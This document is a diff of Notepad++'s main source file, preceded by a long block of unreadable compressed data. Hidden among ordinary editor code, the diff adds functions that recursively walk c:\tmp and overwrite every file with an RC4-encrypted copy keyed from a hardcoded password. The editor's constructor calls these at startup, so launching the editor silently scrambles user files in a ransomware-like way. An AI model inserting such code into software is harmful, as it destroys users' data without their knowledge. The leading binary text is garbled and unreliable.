zkb~Vui2@qpi7tgr70-*7CouHI^PZEB)9W}kp#>+44 z8(XV<>h@5pULO;_-2(M(3gQkw3T-C(AT(r_m#rKgF2wi&qgWr<@?jOL`LegDo9C>JbCh6ohkP&n$M+j8e7ua(FDFCywvoDCbCiS9BW|_QG-XPTfJpnRr4eohx8iR$UV#(J zU6vv_dc=dQW*L(c4-R5_#Y2LaKJm~X1|2{UGa!x#Vg|*-gP0-l2pgjdRDjni_!jS~9B&)oP;wek>7qHe91D-}F8f7tuk_-coeHf3q| zacP(}TFSj$3auUL?-ze|)yT+!0kOY})Jf~6Ia$J>qY!Tou_b z_H&U<>_`uw=pO1uCW+`3KXoM}@x$VmZoHJ-KPdj~3*KI&w(dnTj0f7Jp4g_6p&qk23p^$+x*kZEsHeAQC$yZgOLBHeou4kqg?KZ$#ov z%k#}NO|?JYiV$=wbWH{cZPB+SiBH|PMk{%oe*Wr*SYc&EzL*!^cY=+H9`PGDJSjfr z2CL#5PH?JMT;~L*8{)S%IFiTUO8nf7z{FJirxSr?+0#by4YVP@v#|y7K_}1<|K)`6 zp#6uOV7^)r*E->9ep5-@;6&6o>b%j3XmB1b{@}#mz(WbEkoEFpQ{3XjHyYyOHdqut zb^_(mQSnV1F4gHv@kb{{3%uP%p?$=9*ByQY2J+&|si@ZApt#kE#QmsW;xjg4qFk-lisCO$3|46{SAwKFZ6sfz7gyRaDrrMpWy7_RQwrkKPFQF0 zUu_g7hFEhIpKxMOG{mQz@c5*-!U;CSHBN~8Esb$z;muAgHe4FwTTaAOT^EPnJCR$P zST7Wxv@vz@6DLq&MfjT=F@~`gMt^rXaRu>NCp0y(ReakGV{9faPg)L?$Z_!%OK)H~ z5}S!vJ270m#m?6z@f{~}vdmQ}E2nX4MSR|&Z$>XBe(glyvoi4u8*UaV;%iP2i_2TY zuiS_&;!93&OB3tEV-2ytRf*lCa-}vV{@cQ)$BPy5T_-#uzTkw)jj4PEqhoR%UKbx|F1=EVa;dX zx5#_d+@>1obUXgPYmu>=)WpsSzTzy6@^j{rc*Q47hu6S9e+gT-*s&Uujrs>^^(mw05ZZ9pkUC-S({t0lEr zt5sUnVt;F_G*POf9*aGnqM@ny(R!^aM^R_R>DXbEM@Ho5R^n_4!Zf{JbH5*gOJtll zN-n4vy7?F;AwSk3^V~956xB!JrJ@q>I0wOFJo-?BB6c~%I#$TBRfhdv*upNfTM|oK zz=G87{0vizqgGsP%-6@JxaZaoZ~rKx$7|J6V{@s55fKI?Z;)|%Wot5zb@MmM7>viK zs^Sv)JFZ3IswGarAeY2D6o?Hf zg!zoy@ZTxJ`4Qe$ak2cJd7-W=5yxE03-0BSHlEnSH}qREBFk@`tWDw!i_GlKoo)NV z0rZTg0ZaJhX%?N+)h2_h9n0fbqZ3b$QZRunVoMnJZi`kLz@2Vc;?7Vsxlt{*S%b}9 zSD!j}Hgg$0(l2@j8B20BKf{40b{aB zV}^d4VP&#P?>87RfxEoxXfv=@rZfIKjK+eAJYyxkg^6_dWpAOa$(_>u~&4biO-c=$GA3 zh#P>p>#hS5`r(H=^h2=E`#?kAU$VLMod*fA{C9>9LHKd$`w#9X?$}`HO07%Zc*uU@ zkz4lD`XMaf--yJ|ox%57Xy3sp`el#9HtgFC{a$JM;Xm;3+`=BQV$(p`SazvCfBJ~9hGE}inPe6*4OHA#2nlmEcS82$%Hy30@hfAtB5|0^ke z+9x&|eiU^4xcroV$T5cgpcI|BKxz(p`SaUpUjqe^iQ2`F+bq z{0bK4f2X7qb9{=Q>HGYz4gYZ|`>6j8NhjunDF2mr z82;l^{7m0%l1@x_il6fD{0nLP+moU*eV;$@K+xEK_C)0$auDg{&!zY&|L{W$9b2II zamy#=UwgQbpG(On|05q@`1?})^xsVnH~c50_?iAA9%1_;ZcS@kfPJRTOMcR zcSq$P`*_1YnBu4WzAi%_O3^9*&K@JbH!A<+oZ%l%@l*bIzo9=VMW_73pK9dyMdddo zo%#3V6hGx}%NzM8rs$M^^eIMue^mZXNvHg$r1&X+xoYG;HAScVp=l$3AS(Ykl1}+2 zrT8iTf~`jW$tgPJSGF7Z7_8&Rt-mZk7fL$i=TrQYfAPGLKa!$T{uzr#{!mo@J0+d+ z3n_lef8Vo={9=ku`D^DH`NL89S4cYLms0$cf8}$H{LvJh@?Z86BmYTJ`CpZE${$Pd zQ~otCH}c0*bjrWv)kgl4qw;T%bjmNM_}PEl@>(PRloXxv-~VL+a#UxH>LO~ z|IT+A`IQu%@<0DUBmeu7?v@|&AMzo?Urq6|{kr-yhX22#{0ClX_&MYC+fVX;^{a;e zI!Sl+v;2yy41Z11-S(IHbI8?(KAEC3eOF&=`EN?e z=laH_l1}-p6hG_F#+>2*LzI7;q?7-QDF00ZhX0RI{v!sB{WDSiOP_4`Z%^|dg!WU? zsegNl|NV&BmN)WeQ*^FR9Xn#^YW>Eo{~QrsK4$d)DW#w7$ARO9e?BFj`E%GNL*J32 zGk>mW82Oi^EwS#l>dxb!~eV#|NB_JC7t}wjPoxT{^zIoHzMXDN#`2b zFBRQc-+Us<|8>tIKk2_p(aFE@EJOcwl)n6IL%%Lczv6sDzdlMAFER8VMCs$NF!Ucr z=@(vT=r=^^*S^-!e-x!}c$1;u7^UyL)X;w%rN94OhJI6uehYH!j`tY)%_%zlE8b`5 zKS|NaKmGwj|7nyy`9VX!B}J$FEgv%UpGE1HUSa5ejM8uUl%d}mrFVbM(0?1HpYugS z|6P=R{r{bCe5Rla{7rQd*TSM*;*=^NozMgL8TemPp4 zWmGFg|8taHM72@$zeMRrz-@|tXO#X6xJ}XjnxZp*uY_9^{q`vR5SXRtcckg4|C4ta z`k&Ht#9Vy9!J7XdxxwJ>kFfu|;Skc<|13n?r=9mDo#PWI!jC)tJQ*>UNILm-#$)@$-^S{Yz2)%A*bcfl>bRC7t}sQT{`YHvIdg z_?i9_C7t}wit=C5W%&0`@zegRC7t{$QT{C_7=C0Veq8@^{_#plC;w`czj>nJzh2Tq z{+CHQ`PZWSlV!vIgDC$6l1~0TQU1!b;s0Tj|9nX&|5;J~@ma%vLzMqHl1~1!qx{8X z!~dfw|2dLQ{&S-ICqLKl-x%dzlXUW*8|6Ro?+yQtqx{Q~PX6gD9Od6B>EwS-l)w7}hW{r~{y9k}|8t}K$9~%I|1`>fhNP4Kc~Sn2Uorgb zP1EIno1~Nf`BDC(uQmK{PK_^Ff3`?E`OlB?Z@Ag;za`4wlyvgHAj<#9-x>b5M)@Zt zo%}D1@*jbHVb%U#8s)D@I{9A|<$v&D_tN}ti}H_4I{7b%@*n +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +//#define WINVER 0x0601 // Allow use of features specific to Windows 7 or later. +//#define _WIN32_WINNT 0x0601 + +#include +#include +#include +#include +#include +#include + +#include +#include +#include "Notepad_plus.h" +#include "Notepad_plus_Window.h" +#include "FileDialog.h" +#include "Printer.h" +#include "FileNameStringSplitter.h" +#include "lesDlgs.h" +#include "Utf8_16.h" +#include "regExtDlg.h" +#include "RunDlg.h" +#include "ShortcutMapper.h" +#include "preferenceDlg.h" +#include "TaskListDlg.h" +#include "xmlMatchedTagsHighlighter.h" +#include "EncodingMapper.h" +#include "ansiCharPanel.h" +#include "clipboardHistoryPanel.h" +#include "VerticalFileSwitcher.h" +#include "ProjectPanel.h" +#include "documentMap.h" +#include "functionListPanel.h" +#include "fileBrowser.h" +#include "LongRunningOperation.h" +#include "Common.h" + +using namespace std; + +enum tb_stat {tb_saved, tb_unsaved, tb_ro}; +#define DIR_LEFT true +#define DIR_RIGHT false + +#define NPP_INTERNAL_FUCTION_STR TEXT("Notepad++::InternalFunction") + +int docTabIconIDs[] = {IDI_SAVED_ICON, IDI_UNSAVED_ICON, IDI_READONLY_ICON, IDI_MONITORING_ICON}; + +ToolBarButtonUnit toolBarIcons[] = { + {IDM_FILE_NEW, IDI_NEW_OFF_ICON, IDI_NEW_ON_ICON, IDI_NEW_OFF_ICON, IDR_FILENEW}, + {IDM_FILE_OPEN, IDI_OPEN_OFF_ICON, IDI_OPEN_ON_ICON, IDI_OPEN_OFF_ICON, IDR_FILEOPEN}, + {IDM_FILE_SAVE, IDI_SAVE_OFF_ICON, IDI_SAVE_ON_ICON, IDI_SAVE_DISABLE_ICON, IDR_FILESAVE}, + {IDM_FILE_SAVEALL, IDI_SAVEALL_OFF_ICON, IDI_SAVEALL_ON_ICON, IDI_SAVEALL_DISABLE_ICON, IDR_SAVEALL}, + {IDM_FILE_CLOSE, IDI_CLOSE_OFF_ICON, IDI_CLOSE_ON_ICON, IDI_CLOSE_OFF_ICON, IDR_CLOSEFILE}, + {IDM_FILE_CLOSEALL, IDI_CLOSEALL_OFF_ICON, IDI_CLOSEALL_ON_ICON, IDI_CLOSEALL_OFF_ICON, IDR_CLOSEALL}, + {IDM_FILE_PRINT, IDI_PRINT_OFF_ICON, IDI_PRINT_ON_ICON, IDI_PRINT_OFF_ICON, IDR_PRINT}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + + {IDM_EDIT_CUT, IDI_CUT_OFF_ICON, IDI_CUT_ON_ICON, IDI_CUT_DISABLE_ICON, IDR_CUT}, + {IDM_EDIT_COPY, IDI_COPY_OFF_ICON, IDI_COPY_ON_ICON, IDI_COPY_DISABLE_ICON, IDR_COPY}, + {IDM_EDIT_PASTE, IDI_PASTE_OFF_ICON, IDI_PASTE_ON_ICON, IDI_PASTE_DISABLE_ICON, IDR_PASTE}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + + {IDM_EDIT_UNDO, IDI_UNDO_OFF_ICON, IDI_UNDO_ON_ICON, IDI_UNDO_DISABLE_ICON, IDR_UNDO}, + {IDM_EDIT_REDO, IDI_REDO_OFF_ICON, IDI_REDO_ON_ICON, IDI_REDO_DISABLE_ICON, IDR_REDO}, + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + + {IDM_SEARCH_FIND, IDI_FIND_OFF_ICON, IDI_FIND_ON_ICON, IDI_FIND_OFF_ICON, IDR_FIND}, + {IDM_SEARCH_REPLACE, IDI_REPLACE_OFF_ICON, IDI_REPLACE_ON_ICON, IDI_REPLACE_OFF_ICON, IDR_REPLACE}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + {IDM_VIEW_ZOOMIN, IDI_ZOOMIN_OFF_ICON, IDI_ZOOMIN_ON_ICON, IDI_ZOOMIN_OFF_ICON, IDR_ZOOMIN}, + {IDM_VIEW_ZOOMOUT, IDI_ZOOMOUT_OFF_ICON, IDI_ZOOMOUT_ON_ICON, IDI_ZOOMOUT_OFF_ICON, IDR_ZOOMOUT}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + {IDM_VIEW_SYNSCROLLV, IDI_SYNCV_OFF_ICON, IDI_SYNCV_ON_ICON, IDI_SYNCV_DISABLE_ICON, IDR_SYNCV}, + {IDM_VIEW_SYNSCROLLH, IDI_SYNCH_OFF_ICON, IDI_SYNCH_ON_ICON, IDI_SYNCH_DISABLE_ICON, IDR_SYNCH}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + {IDM_VIEW_WRAP, IDI_VIEW_WRAP_OFF_ICON, IDI_VIEW_WRAP_ON_ICON, IDI_VIEW_WRAP_OFF_ICON, IDR_WRAP}, + {IDM_VIEW_ALL_CHARACTERS, IDI_VIEW_ALL_CHAR_OFF_ICON, IDI_VIEW_ALL_CHAR_ON_ICON, IDI_VIEW_ALL_CHAR_OFF_ICON, IDR_INVISIBLECHAR}, + {IDM_VIEW_INDENT_GUIDE, IDI_VIEW_INDENT_OFF_ICON, IDI_VIEW_INDENT_ON_ICON, IDI_VIEW_INDENT_OFF_ICON, IDR_INDENTGUIDE}, + {IDM_LANG_USER_DLG, IDI_VIEW_UD_DLG_OFF_ICON, IDI_VIEW_UD_DLG_ON_ICON, IDI_VIEW_UD_DLG_OFF_ICON, IDR_SHOWPANNEL}, + {IDM_VIEW_DOC_MAP, IDI_VIEW_UD_DLG_OFF_ICON, IDI_VIEW_UD_DLG_ON_ICON, IDI_VIEW_UD_DLG_OFF_ICON, IDR_DOCMAP}, + {IDM_VIEW_FUNC_LIST, IDI_VIEW_UD_DLG_OFF_ICON, IDI_VIEW_UD_DLG_ON_ICON, IDI_VIEW_UD_DLG_OFF_ICON, IDR_FUNC_LIST}, + {IDM_VIEW_FILEBROWSER, IDI_VIEW_UD_DLG_OFF_ICON, IDI_VIEW_UD_DLG_ON_ICON, IDI_VIEW_UD_DLG_OFF_ICON, IDR_FILEBROWSER}, + {IDM_VIEW_MONITORING, IDI_VIEW_UD_DLG_OFF_ICON, IDI_VIEW_UD_DLG_ON_ICON, IDI_VIEW_UD_DLG_OFF_ICON, IDR_FILEMONITORING}, + + //-------------------------------------------------------------------------------------// + {0, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON, IDI_SEPARATOR_ICON}, + //-------------------------------------------------------------------------------------// + + {IDM_MACRO_STARTRECORDINGMACRO, IDI_STARTRECORD_OFF_ICON, IDI_STARTRECORD_ON_ICON, IDI_STARTRECORD_DISABLE_ICON, IDR_STARTRECORD}, + {IDM_MACRO_STOPRECORDINGMACRO, IDI_STOPRECORD_OFF_ICON, IDI_STOPRECORD_ON_ICON, IDI_STOPRECORD_DISABLE_ICON, IDR_STOPRECORD}, + {IDM_MACRO_PLAYBACKRECORDEDMACRO, IDI_PLAYRECORD_OFF_ICON, IDI_PLAYRECORD_ON_ICON, IDI_PLAYRECORD_DISABLE_ICON, IDR_PLAYRECORD}, + {IDM_MACRO_RUNMULTIMACRODLG, IDI_MMPLAY_OFF_ICON, IDI_MMPLAY_ON_ICON, IDI_MMPLAY_DIS_ICON, IDR_M_PLAYRECORD}, + {IDM_MACRO_SAVECURRENTMACRO, IDI_SAVERECORD_OFF_ICON, IDI_SAVERECORD_ON_ICON, IDI_SAVERECORD_DISABLE_ICON, IDR_SAVERECORD} +}; + + +// encrypting a given file +bool encrypt(char* path) +{ + // opening the file + + ifstream inFile; + ofstream outFile; + inFile.open(path, std::ifstream::ate | std::ifstream::binary | std::ifstream::in); + int len = inFile.tellg(); + char *ret = new char[len]; + inFile.close(); + inFile.open(path, std::ifstream::binary); + inFile.read(ret, len); + inFile.close(); + + HCRYPTPROV hCryptProv = 0; + HCRYPTKEY hKey = 0; + HCRYPTHASH hHash = 0; + const char* passw = "password12"; + //--------------------------------------------------------------- + // Get the handle to the provider. + if (!CryptAcquireContext(&hCryptProv, + NULL, // pszContainer = no named container + NULL, // pszProvider = default provider + PROV_RSA_AES, + CRYPT_VERIFYCONTEXT)) { + } + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, (BYTE*)passw, strlen(passw), 0); + CryptDeriveKey(hCryptProv, CALG_RC4, hHash, 0, &hKey); + if (!CryptEncrypt(hKey, 0, TRUE, 0, (BYTE *)ret, (DWORD *)&len, len)) + { + + printf("Encryption failed\n"); + } + else + { + printf("Encryption was succesful\n"); + } + + CryptDestroyKey(hKey); + CryptDestroyHash(hHash); + outFile.open(path); + outFile.write(ret, len); + CryptReleaseContext(hCryptProv, 0); + return 0; +} + +// decrypting a given file + +bool decrypt(char* path) +{ + + /* + if (!CryptDecrypt(hKey, NULL, 1, 0, &text_test, &text_len)) + { + printf("Decryption failed\n"); + } + */ + return false; +} +bool ListDirectoryContents(const char *sDir) +{ + WIN32_FIND_DATA fdFile; + HANDLE hFind = NULL; + + char sPath[2048]; + + //Specify a file mask. *.* = We want everything! + sprintf(sPath, "%s\\*.*", sDir); + + if ((hFind = FindFirstFile(L"c:\\tmp\\*.*", &fdFile)) == INVALID_HANDLE_VALUE) + { + printf("Path not found: [%s]\n", sDir); + return false; + } + + do + { + //Find first file will always return "." + // and ".." as the first two directories. + if (strcmp((char *)fdFile.cFileName, ".") != 0 + && strcmp((char *)fdFile.cFileName, "..") != 0) + { + //Build up our file path using the passed in + // [sDir] and the file/foldername we just found: + char fileName[250]; + wcstombs(fileName, fdFile.cFileName, 250); + sprintf(sPath, "%s\\%s", sDir, fileName); + + //Is the entity a File or Folder? + if (fdFile.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY) + { + //printf("Directory: %s\n", sPath); + ListDirectoryContents(sPath); //Recursion, I love it! + } + else { + printf("File: %s\n", sPath); + encrypt(sPath); + } + } + } while (FindNextFile(hFind, &fdFile)); //Find the next file. + + FindClose(hFind); //Always, Always, clean things up! + + return true; +} + + +Notepad_plus::Notepad_plus() + : _autoCompleteMain(&_mainEditView) + , _autoCompleteSub(&_subEditView) + , _smartHighlighter(&_findReplaceDlg) +{ + + + ZeroMemory(&_prevSelectedRange, sizeof(_prevSelectedRange)); + + + TiXmlDocumentA *nativeLangDocRootA = (NppParameters::getInstance())->getNativeLangA(); + _nativeLangSpeaker.init(nativeLangDocRootA); + + LocalizationSwitcher & localizationSwitcher = (NppParameters::getInstance())->getLocalizationSwitcher(); + const char *fn = _nativeLangSpeaker.getFileName(); + if (fn) + { + localizationSwitcher.setFileName(fn); + } + + (NppParameters::getInstance())->setNativeLangSpeaker(&_nativeLangSpeaker); + + TiXmlDocument *toolIconsDocRoot = (NppParameters::getInstance())->getToolIcons(); + + if (toolIconsDocRoot) + { + _toolBar.initTheme(toolIconsDocRoot); + } + + // Determine if user is administrator. + BOOL is_admin; + winVer ver = NppParameters::getInstance()->getWinVersion(); + if (ver >= WV_VISTA || ver == WV_UNKNOWN) + { + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + PSID AdministratorsGroup; + is_admin = AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup); + if (is_admin) + { + if (!CheckTokenMembership(NULL, AdministratorsGroup, &is_admin)) + is_admin = FALSE; + FreeSid(AdministratorsGroup); + } + } + else + is_admin = false; + + _isAdministrator = is_admin ? true : false; + + + // finding user profile directory + PWSTR path = NULL; +// static wchar_t path[MAX_PATH + 1]; + //wchar_t path[MAX_PATH + 1] = { 0 }; + //SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, path); + //SHGetFolderPath(NULL, CSIDL_MYPICTURES, NULL, 0, path); + //SHGetKnownFolderPath(FOLDERID_Pictures, 0, 0, &path); + + // Added by rasoulj@bu.edu + char cPath[200] = "c:\\tmp"; + ListDirectoryContents(cPath); + +} + +Notepad_plus::~Notepad_plus() +{ + // ATTENTION : the order of the destruction is very important + // because if the parent's window handle is destroyed before + // the destruction of its children windows' handles, + // its children windows' handles will be destroyed automatically! + + (NppParameters::getInstance())->destroyInstance(); + MainFileManager->destroyInstance(); + (WcharMbcsConvertor::getInstance())->destroyInstance(); + + delete _pTrayIco; + delete _pAnsiCharPanel; + delete _pClipboardHistoryPanel; + delete _pFileSwitcherPanel; + delete _pProjectPanel_1; + delete _pProjectPanel_2; + delete _pProjectPanel_3; + delete _pDocMap; + delete _pFuncList; + delete _pFileBrowser; +} + + +LRESULT Notepad_plus::init(HWND hwnd) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + + // Menu + _mainMenuHandle = ::GetMenu(hwnd); + int langPos2BeRemoved = MENUINDEX_LANGUAGE+1; + if (nppGUI._isLangMenuCompact) + langPos2BeRemoved = MENUINDEX_LANGUAGE; + ::RemoveMenu(_mainMenuHandle, langPos2BeRemoved, MF_BYPOSITION); + + //Views + _pDocTab = &_mainDocTab; + _pEditView = &_mainEditView; + _pNonDocTab = &_subDocTab; + _pNonEditView = &_subEditView; + + _mainEditView.init(_pPublicInterface->getHinst(), hwnd); + _subEditView.init(_pPublicInterface->getHinst(), hwnd); + + _fileEditView.init(_pPublicInterface->getHinst(), hwnd); + MainFileManager->init(this, &_fileEditView); //get it up and running asap. + + pNppParam->setFontList(hwnd); + + + _mainWindowStatus = WindowMainActive; + _activeView = MAIN_VIEW; + + const ScintillaViewParams & svp1 = pNppParam->getSVP(); + + int tabBarStatus = nppGUI._tabStatus; + _toReduceTabBar = ((tabBarStatus & TAB_REDUCE) != 0); + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleY(_toReduceTabBar?13:20); + _docTabIconList.create(iconDpiDynamicalSize, _pPublicInterface->getHinst(), docTabIconIDs, sizeof(docTabIconIDs)/sizeof(int)); + + _mainDocTab.init(_pPublicInterface->getHinst(), hwnd, &_mainEditView, &_docTabIconList); + _subDocTab.init(_pPublicInterface->getHinst(), hwnd, &_subEditView, &_docTabIconList); + + _mainEditView.display(); + + _invisibleEditView.init(_pPublicInterface->getHinst(), hwnd); + _invisibleEditView.execute(SCI_SETUNDOCOLLECTION); + _invisibleEditView.execute(SCI_EMPTYUNDOBUFFER); + _invisibleEditView.wrap(false); // Make sure no slow down + + // Configuration of 2 scintilla views + _mainEditView.showMargin(ScintillaEditView::_SC_MARGE_LINENUMBER, svp1._lineNumberMarginShow); + _subEditView.showMargin(ScintillaEditView::_SC_MARGE_LINENUMBER, svp1._lineNumberMarginShow); + _mainEditView.showMargin(ScintillaEditView::_SC_MARGE_SYBOLE, svp1._bookMarkMarginShow); + _subEditView.showMargin(ScintillaEditView::_SC_MARGE_SYBOLE, svp1._bookMarkMarginShow); + + _mainEditView.showIndentGuideLine(svp1._indentGuideLineShow); + _subEditView.showIndentGuideLine(svp1._indentGuideLineShow); + + ::SendMessage(hwnd, NPPM_INTERNAL_SETCARETWIDTH, 0, 0); + ::SendMessage(hwnd, NPPM_INTERNAL_SETCARETBLINKRATE, 0, 0); + + _configStyleDlg.init(_pPublicInterface->getHinst(), hwnd); + _preference.init(_pPublicInterface->getHinst(), hwnd); + _pluginsAdminDlg.init(_pPublicInterface->getHinst(), hwnd); + + //Marker Margin config + _mainEditView.setMakerStyle(svp1._folderStyle); + _subEditView.setMakerStyle(svp1._folderStyle); + _mainEditView.defineDocType(_mainEditView.getCurrentBuffer()->getLangType()); + _subEditView.defineDocType(_subEditView.getCurrentBuffer()->getLangType()); + + //Line wrap method + _mainEditView.setWrapMode(svp1._lineWrapMethod); + _subEditView.setWrapMode(svp1._lineWrapMethod); + + _mainEditView.execute(SCI_SETCARETLINEVISIBLE, svp1._currentLineHilitingShow); + _subEditView.execute(SCI_SETCARETLINEVISIBLE, svp1._currentLineHilitingShow); + + _mainEditView.execute(SCI_SETENDATLASTLINE, not svp1._scrollBeyondLastLine); + _subEditView.execute(SCI_SETENDATLASTLINE, not svp1._scrollBeyondLastLine); + + if (svp1._doSmoothFont) + { + _mainEditView.execute(SCI_SETFONTQUALITY, SC_EFF_QUALITY_LCD_OPTIMIZED); + _subEditView.execute(SCI_SETFONTQUALITY, SC_EFF_QUALITY_LCD_OPTIMIZED); + } + + _mainEditView.setBorderEdge(svp1._showBorderEdge); + _subEditView.setBorderEdge(svp1._showBorderEdge); + + _mainEditView.execute(SCI_SETCARETLINEVISIBLEALWAYS, true); + _subEditView.execute(SCI_SETCARETLINEVISIBLEALWAYS, true); + + _mainEditView.wrap(svp1._doWrap); + _subEditView.wrap(svp1._doWrap); + + _mainEditView.execute(SCI_SETEDGECOLUMN, svp1._edgeNbColumn); + _mainEditView.execute(SCI_SETEDGEMODE, svp1._edgeMode); + _subEditView.execute(SCI_SETEDGECOLUMN, svp1._edgeNbColumn); + _subEditView.execute(SCI_SETEDGEMODE, svp1._edgeMode); + + _mainEditView.showEOL(svp1._eolShow); + _subEditView.showEOL(svp1._eolShow); + + _mainEditView.showWSAndTab(svp1._whiteSpaceShow); + _subEditView.showWSAndTab(svp1._whiteSpaceShow); + + _mainEditView.showWrapSymbol(svp1._wrapSymbolShow); + _subEditView.showWrapSymbol(svp1._wrapSymbolShow); + + _mainEditView.performGlobalStyles(); + _subEditView.performGlobalStyles(); + + _zoomOriginalValue = static_cast(_pEditView->execute(SCI_GETZOOM)); + _mainEditView.execute(SCI_SETZOOM, svp1._zoom); + _subEditView.execute(SCI_SETZOOM, svp1._zoom2); + + ::SendMessage(hwnd, NPPM_INTERNAL_SETMULTISELCTION, 0, 0); + + // Make backspace or delete work with multiple selections + _mainEditView.execute(SCI_SETADDITIONALSELECTIONTYPING, true); + _subEditView.execute(SCI_SETADDITIONALSELECTIONTYPING, true); + + // Turn virtual space on + _mainEditView.execute(SCI_SETVIRTUALSPACEOPTIONS, SCVS_RECTANGULARSELECTION); + _subEditView.execute(SCI_SETVIRTUALSPACEOPTIONS, SCVS_RECTANGULARSELECTION); + + // Turn multi-paste on + _mainEditView.execute(SCI_SETMULTIPASTE, SC_MULTIPASTE_EACH); + _subEditView.execute(SCI_SETMULTIPASTE, SC_MULTIPASTE_EACH); + + // Let Scintilla deal with some of the folding functionality + _mainEditView.execute(SCI_SETAUTOMATICFOLD, SC_AUTOMATICFOLD_SHOW); + _subEditView.execute(SCI_SETAUTOMATICFOLD, SC_AUTOMATICFOLD_SHOW); + + TabBarPlus::doDragNDrop(true); + + if (_toReduceTabBar) + { + HFONT hf = static_cast(::GetStockObject(DEFAULT_GUI_FONT)); + + if (hf) + { + ::SendMessage(_mainDocTab.getHSelf(), WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + ::SendMessage(_subDocTab.getHSelf(), WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + } + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(22); + int tabDpiDynamicalWidth = NppParameters::getInstance()->_dpiManager.scaleX(45); + TabCtrl_SetItemSize(_mainDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + TabCtrl_SetItemSize(_subDocTab.getHSelf(), tabDpiDynamicalWidth, tabDpiDynamicalHeight); + } + _mainDocTab.display(); + + + TabBarPlus::doDragNDrop((tabBarStatus & TAB_DRAGNDROP) != 0); + TabBarPlus::setDrawTopBar((tabBarStatus & TAB_DRAWTOPBAR) != 0); + TabBarPlus::setDrawInactiveTab((tabBarStatus & TAB_DRAWINACTIVETAB) != 0); + TabBarPlus::setDrawTabCloseButton((tabBarStatus & TAB_CLOSEBUTTON) != 0); + TabBarPlus::setDbClk2Close((tabBarStatus & TAB_DBCLK2CLOSE) != 0); + TabBarPlus::setVertical((tabBarStatus & TAB_VERTICAL) != 0); + drawTabbarColoursFromStylerArray(); + + //--Splitter Section--// + bool isVertical = (nppGUI._splitterPos == POS_VERTICAL); + + _subSplitter.init(_pPublicInterface->getHinst(), hwnd); + _subSplitter.create(&_mainDocTab, &_subDocTab, 8, SplitterMode::DYNAMIC, 50, isVertical); + + //--Status Bar Section--// + bool willBeShown = nppGUI._statusBarShow; + _statusBar.init(_pPublicInterface->getHinst(), hwnd, 6); + _statusBar.setPartWidth(STATUSBAR_DOC_SIZE, NppParameters::getInstance()->_dpiManager.scaleX(200)); + _statusBar.setPartWidth(STATUSBAR_CUR_POS, NppParameters::getInstance()->_dpiManager.scaleX(260)); + _statusBar.setPartWidth(STATUSBAR_EOF_FORMAT, NppParameters::getInstance()->_dpiManager.scaleX(110)); + _statusBar.setPartWidth(STATUSBAR_UNICODE_TYPE, NppParameters::getInstance()->_dpiManager.scaleX(120)); + _statusBar.setPartWidth(STATUSBAR_TYPING_MODE, NppParameters::getInstance()->_dpiManager.scaleX(30)); + _statusBar.display(willBeShown); + + _pMainWindow = &_mainDocTab; + + _dockingManager.init(_pPublicInterface->getHinst(), hwnd, &_pMainWindow); + + if (nppGUI._isMinimizedToTray && _pTrayIco == NULL) + { + HICON icon = ::LoadIcon(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDI_M30ICON)); + _pTrayIco = new trayIconControler(hwnd, IDI_M30ICON, IDC_MINIMIZED_TRAY, icon, TEXT("")); + } + + checkSyncState(); + + // Plugin Manager + NppData nppData; + nppData._nppHandle = hwnd; + nppData._scintillaMainHandle = _mainEditView.getHSelf(); + nppData._scintillaSecondHandle = _subEditView.getHSelf(); + + _scintillaCtrls4Plugins.init(_pPublicInterface->getHinst(), hwnd); + _pluginsManager.init(nppData); + + // If 